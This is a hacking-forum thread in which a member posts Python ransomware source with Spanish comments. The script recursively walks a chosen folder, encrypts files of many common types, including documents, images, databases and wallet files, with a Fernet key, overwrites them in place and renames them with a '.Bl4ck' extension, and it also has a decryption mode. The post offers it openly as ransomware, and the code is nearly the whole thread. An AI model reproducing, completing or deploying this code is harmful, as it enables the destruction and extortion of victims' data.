• 🌙 Community Spirit

    Ramadan Mubarak! To honor this month, Crax has paused NSFW categories. Wishing you peace and growth!

Combo Tools ran_som_ware en python (1 Viewer)

Currently reading:
 Combo Tools ran_som_ware en python (1 Viewer)

Recently searched:

iamdroppe

Member
LV
2
Joined
May 14, 2023
Threads
86
Likes
84
Awards
7
Credits
17,350©
Cash
0$
Ransomware20Header20Banner20Edited



Puede que algunas variables se declaren pero luego no se usen, script 2021

[/CENTER] import subprocess from cryptography.fernet import Fernet import ntpath import os from sys import argv import shutil import sys class Ransomware: def __init__(self, path): #Constructor de la clase self.path = path self.filePath = str(argv[0]) self.delta = '' self.fernet_key = '' self.decryption_key = '' def generateFernetKey(self, control): #Generamos la key key = Fernet.generate_key() if (control == 0): with open(self.path + 'Key.key', 'wb') as keyFile: keyFile.write(key) keyFile.close() return open(self.path + 'Key.key', 'rb').read() def digest_bytes(self, file_data): #Ciframos los bytes return self.fernet_key.encrypt(file_data) def barf_bytes(self, file_data): return self.fernet_key.decrypt(file_data) #Desciframos los bytes def main_function(self, delta, control_variable, file_size): #Funcion principal para cifrar los archivos de la ruta dada recursivamente try: self.fernet_key = Fernet(delta) for root, directory, files_list in os.walk(self.path): if 'appdata' not in root.lower(): for files in files_list: try: file_path = os.path.join(root, files) extension = str(os.path.splitext(file_path)[1]).lower() if self.protect_file(file_path) and self.extension_validation(extension, control_variable) and self.maximun_size(file_path, file_size): if control_variable == 0: self.generate_protection(file_path, self.digest_bytes(self.get_file_bytes(file_path)), control_variable) else: self.generate_protection(file_path, self.barf_bytes(self.get_file_bytes(file_path)), control_variable) except: pass except: pass def protect_file(self, file_name): if os.path.basename(argv[0]) not in file_name and 'Key.key' not in file_name: #Proteger la key y al mismo ransomware return True else: return False def extension_validation(self, extension, control_value): #Manejador de extensiones if control_value == 0: if extension in self.valid_extension(): return True else: return False else: if extension == '.bl4ck': return True else: return False def maximun_size(self, file_name, size): if os.path.getsize(file_name) / 1000000 < size: return True else: return False def get_file_bytes(self, file_name): #Devuelve los bytes del archivo with open(file_name, 'rb') as file: file_data = file.read() return file_data def generate_protection(self, file_name, data, control_value): #Sobreescribir archivos y cambiar la extensión new_data = data with open(file_name, 'wb') as file: file.write(new_data) if control_value == 0: os.rename(file_name, file_name + '.Bl4ck') else: os.rename(file_name, file_name.replace('.Bl4ck', '')) def valid_extension(self): #Extensiones válidas valid_extension = ['.txt', '.aiff', 'aif', '.au', '.avi', '.bat', '.bmp', '.class', '.java', '.csv', '.cvs', '.dbf', '.dif', '.doc', '.docx', '.eps', '.exe', '.fm3', '.gif', '.hqx','.htm', '.html', '.jpg', '.jpeg', '.mac', '.map', '.mdb', '.mid', '.midi', '.mov', '.qt', '.mtb','.mtw', '.pdf', '.png','.ppt', '.pptx', '.psd', '.qxd', '.ra', '.rtf', '.sit', '.tar', '.tif','.wav', '.wk3', 'wks', '.wpd', '.wp5', '.xls', '.xlsw', '.zip', '.rar', '.7z', '.vbs', '.py', 'pl','.css', '.jar', '.ico', '.key', '.wallet.dat', '.SQLITE3', '.mp3', '.mp4', '.srt', '.dat', '.php', '.sql', '.c', '.usp', '.db','.conf','.dll', '.reg', '.ttf', '.md', '.xml', '.version', '.status', '.mar', '.odt', '.xlsx', '.json', '.conf', '.pl', '.sh', '.bak', '.pptx', '.cpp','.spec', '.pyc', '.pyw', '.dtd', '.xsd'] return valid_extension def start(self, control, tamaño): self.main_function(self.generateFernetKey(control), control, tamaño) #Llamamos a la funcion principal con los parametros: key, control para saber si es de cifrar o descifrar y el máximo tamaño de archivo ransomware = Ransomware('Ruta a cifrar') control = int(input("0 para cifrar, 1 para descifrar: ")) tamaño = int(input("Maximo tamaño de archivo (MB): ")) ransomware.start(control, tamaño)

Ransomware attacks and types
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom